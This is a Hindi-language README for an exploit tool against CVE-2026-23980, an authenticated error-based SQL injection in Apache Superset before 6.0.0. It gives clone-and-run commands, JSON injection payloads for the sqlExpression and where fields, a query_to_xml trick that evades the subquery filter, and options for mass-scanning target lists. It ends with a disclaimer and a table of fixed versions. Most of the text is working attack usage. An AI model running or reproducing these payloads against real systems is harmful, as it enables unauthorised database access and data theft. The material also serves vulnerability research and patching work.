
CVE-2026-23980 के लिए एक्सप्लॉइट — Apache Superset < 6.0.0 में sqlExpression बायपास के माध्यम से प्रमाणित एरर-आधारित SQL इंजेक्शन
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression सीधे क्वेरी में जाता है। कोई पैरामीटराइजेशन नहीं। कोई उम्मीद नहीं।
Apache Superset < 6.0.0 पढ़ने की पहुंच वाले प्रमाणित उपयोगकर्ताओं को /api/v1/chart/data एंडपॉइंट में sqlExpression या where पैरामीटर के माध्यम से त्रुटि-आधारित SQL इंजेक्शन करने की अनुमति देता है।
validate_adhoc_subquery() फ़िल्टर को PostgreSQL XML फ़ंक्शन (query_to_xml, आदि) का उपयोग करके बायपास किया जाता है, जो SQL को फ़ंक्शन तर्क के रूप में निष्पादित करते हैं, जो sqlparse टोकनाइज़र के लिए अदृश्य होते हैं।
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc कॉलम sqlExpression / extras.where इंजेक्ट किया गया
-> validate_adhoc_subquery() query_to_xml() के माध्यम से बायपास किया गया
-> कच्चा SQL PostgreSQL तक पहुँचता है
-> CAST((...) AS INT) त्रुटि प्रतिक्रिया में डेटा लीक करती है
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# डेटाबेस संस्करण
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# डेटाबेस उपयोगकर्ता
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# तालिकाओं की सूची
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# वर्तमान उपयोगकर्ता
python3 exploit.py ... --sql "SELECT current_user"
जब validate_adhoc_subquery() आपकी क्वेरी को ब्लॉक करता है (FROM/JOIN का पता लगाता है):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
यह क्वेरी को query_to_xml() में लपेटता है जो FROM क्लॉज़ को टोकनाइज़र से छिपाता है।
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (डिफ़ॉल्ट) - कॉलम परिभाषा में इंजेक्ट किया गया:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - extras.where क्लॉज़ में इंजेक्ट किया गया:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
एक्सप्लॉइट डेटा लीक करने के लिए PostgreSQL के टाइप कास्टिंग का उपयोग करता है:
CAST((SELECT version()) AS INT)
PostgreSQL स्ट्रिंग को पूर्णांक में परिवर्तित नहीं कर सकता, इसलिए यह त्रुटि फेंकता है:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
लीक किया गया मान API प्रतिक्रिया में त्रुटि संदेश से पार्स किया जाता है।
Superset का has_table_query() सबक्वेरी का पता लगाने के लिए FROM/JOIN स्कैन करता है। PostgreSQL का query_to_xml() SQL निष्पादित करता है लेकिन इसे फ़ंक्शन तर्क के रूप में छिपाता है:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
टोकनाइज़र एक फ़ंक्शन कॉल देखता है, FROM क्लॉज़ नहीं, जिससे फ़िल्टर बायपास हो जाता है।
| संस्करण |
|---|
यह टूल केवल अधिकृत सुरक्षा अनुसंधान के लिए है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है।
| स्थिति |
|---|
| < 4.0.2 | असुरक्षित (कोई XML फ़ंक्शन डेनीलिस्ट नहीं) |
| 4.0.2 | आंशिक सुधार (CVE-2024-39887 - डेनीलिस्ट में कुछ XML फ़ंक्शन जोड़े गए) |
| 4.1.0 | विस्तारित डेनीलिस्ट (अधिक XML फ़ंक्शन) |
| 4.1.2 | पंक्ति-स्तरीय सुरक्षा बायपास ठीक किया गया (CVE-2025-48912) |
| 6.0.0 | CVE-2026-23980 के लिए पूर्ण सुधार |